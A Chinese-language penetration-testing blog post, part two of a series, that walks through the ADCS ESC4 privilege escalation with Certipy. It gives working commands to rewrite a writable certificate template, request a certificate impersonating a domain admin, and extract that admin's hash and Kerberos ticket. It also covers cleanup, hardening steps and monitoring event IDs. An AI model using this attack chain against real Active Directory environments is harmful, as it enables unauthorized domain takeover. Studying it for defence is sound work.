滥用Active Directory证书服务(第二部分):ESC4漏洞利用实战

本文详细介绍了Active Directory证书服务(ADCS)中的ESC4漏洞利用技术,通过Certipy工具演示如何从普通域用户权限提升至域管理员,涵盖攻击步骤、防御建议及监控策略。

滥用Active Directory证书服务(第二部分)

Active Directory证书服务(ADCS)中的错误配置可能给企业Active Directory环境带来严重漏洞,例如从低权限账户到域管理员的权限提升路径。

在本ADCS系列的第一部分中,我们概要介绍了Active Directory证书服务,并逐步讲解了一种权限提升技术ESC1。在本文中,我们将使用Certipy工具逐步讲解另一种权限提升技术ESC4。

ESC4

当非管理员账户可以修改证书模板时,就会出现此问题。当意外用户被授予以下模板安全权限之一时,可能发生这种错误配置:

  • 所有者
  • WriteOwnerPrincipals
  • WriteDaclPrincipals
  • WritePropertyPrincipals

示例

在以下示例中,假设我们已经在我们目标公司FOOBAR的内部网络中获得了立足点,并已攻陷名为"billy"的用户账户;我们已经枚举了内部目标域"foobar.com"的ADCS配置。

如下图所示,“ESC4Certificate_FOOBAR"模板被配置为授予"Domain Users"组Write Owner Principals和Write Property Principals权限。这意味着任何foobar.com用户都有权修改模板中的任何给定属性。

我们被攻陷的用户账户"billy"是"Domain Users"组的一部分,因此有权修改模板配置。我们可以使用以下Certipy命令引入权限提升条件:

1
certipy template -u billy@foobar.com -p REDACTED -template ESC4Certificate_FOOBAR -dc-ip <DC_IP> -save-old

如上图所示,原始模板保存在"ESC4Certificate_FOOBAR.json"中。完成此攻击后,我们可以使用配置文件轻松将模板配置恢复到原始状态。目标模板已更新以满足以下ESC1条件:

  • 客户端认证:True
  • 已启用:True
  • 注册者提供主题:True
  • 需要管理批准:False
  • 需要授权签名:0

此外,模板有效期从4年增加到5年。现在,任何域用户都可以使用此易受攻击的模板代表任何其他域账户请求证书。修改后的模板如下所示。

为了演示这一点,我们可以通过将用户主体名称(UPN)设置为DA_Dan@foobar.com来为"Dan the DA"请求证书。

1
certipy req -u 'billy@foobar.com' -p 'REDACTED' -dc-ip '10.10.1.100' -target 'foobar-CA.foobar.com' -ca 'foobar-CA' -template 'ESC4Certificate_FOOBAR' -upn 'DA_Dan@foobar.com'

注意:Certipy结果将返回请求ID或对象SID。请记下此信息,因为在测试完成后需要此信息来撤销证书。

2025年4月21日更新

微软最近推送了一个部分补丁,试图防止权限提升。补丁链接可在此处找到:https://support.microsoft.com/en-us/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16

如果您收到类似这样的错误:

您可以通过在Certipy请求中提供目标UPN的SID来解决此问题,如下所示:

1
certipy req -u '<USERNAME>' -p '<PASSWORD>' -dc-ip '<DC_IP>' -target '<CA_HOSTNAME>' -ca '<CA_NAME>' -template '<VULNERABLE_TEMPLATE_NAME>' -upn <DOMAIN_ADMIN> -sid <DOMAIN_ADMIN_SID>

更新结束

一旦我们获得证书,就可以使用该证书获取目标DA账户的凭据哈希和Kerberos票据,如下所示使用Certipy -auth命令:

1
certipy auth -pfx DA_Dan.pfx

如下图所示,我们成功检索到了DA_Dan账户的哈希。现在我们可以冒充DA_Dan!

总之,模板"ESC4Certificate_FOOBAR"被配置为允许来自Domain Users组(非管理员账户)的用户修改模板配置。这使得标准域用户Billy能够修改模板"ESC4Certificate_FOOBAR"并引入漏洞,从而允许从普通域账户提升到域管理员账户。

清理

要将模板配置恢复到原始状态,请使用以下模板命令:

1
certipy template -u user@foobar.com -p REDACTED -template ESC4Certificate_FOOBAR -dc-ip <DC_IP> --configuration 'ESC4Certificate_FOOBAR.json'

预防和检测

那么,我们可以做些什么来预防和检测此类攻击?以下是加强证书模板安全性的几个步骤:

  • 清点您的证书模板,确定所有启用的模板是否当前正在使用。禁用所有不必要的模板。
  • 确保模板权限尽可能严格。仅授予必要的组/用户注册权限。仅授予必要的组/用户修改模板属性的权限。
  • 修改"颁发要求”,在可能的情况下要求手动批准颁发的证书。
  • 在可能的情况下禁用"注册者提供主题"标志。
  • 在可能的情况下移除"客户端认证"。

监控

证书模板通常不会经常更改。检测应围绕意外的模板配置更改构建。当ADCS对象更改和注册发生时,会出现事件ID 4900和4899。通过监控证书更改事件,管理员可以警报异常行为,调查模板更改,并撤销看起来恶意或可疑的证书。一些有用的事件ID如下:

  • 4900 – 证书模板的安全权限已更改
  • 4899 – 证书模板已更新
  • 4886 – 证书请求
  • 4887 – 证书已颁发
  • 4768 – Kerberos票据(TGT)请求

防御资源:

附加资源

阅读本系列更多内容:

  • 滥用Active Directory证书服务(第一部分)
  • 滥用Active Directory证书服务(第三部分)
  • 滥用Active Directory证书服务(第四部分)
  • 检测ADCS权限提升
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计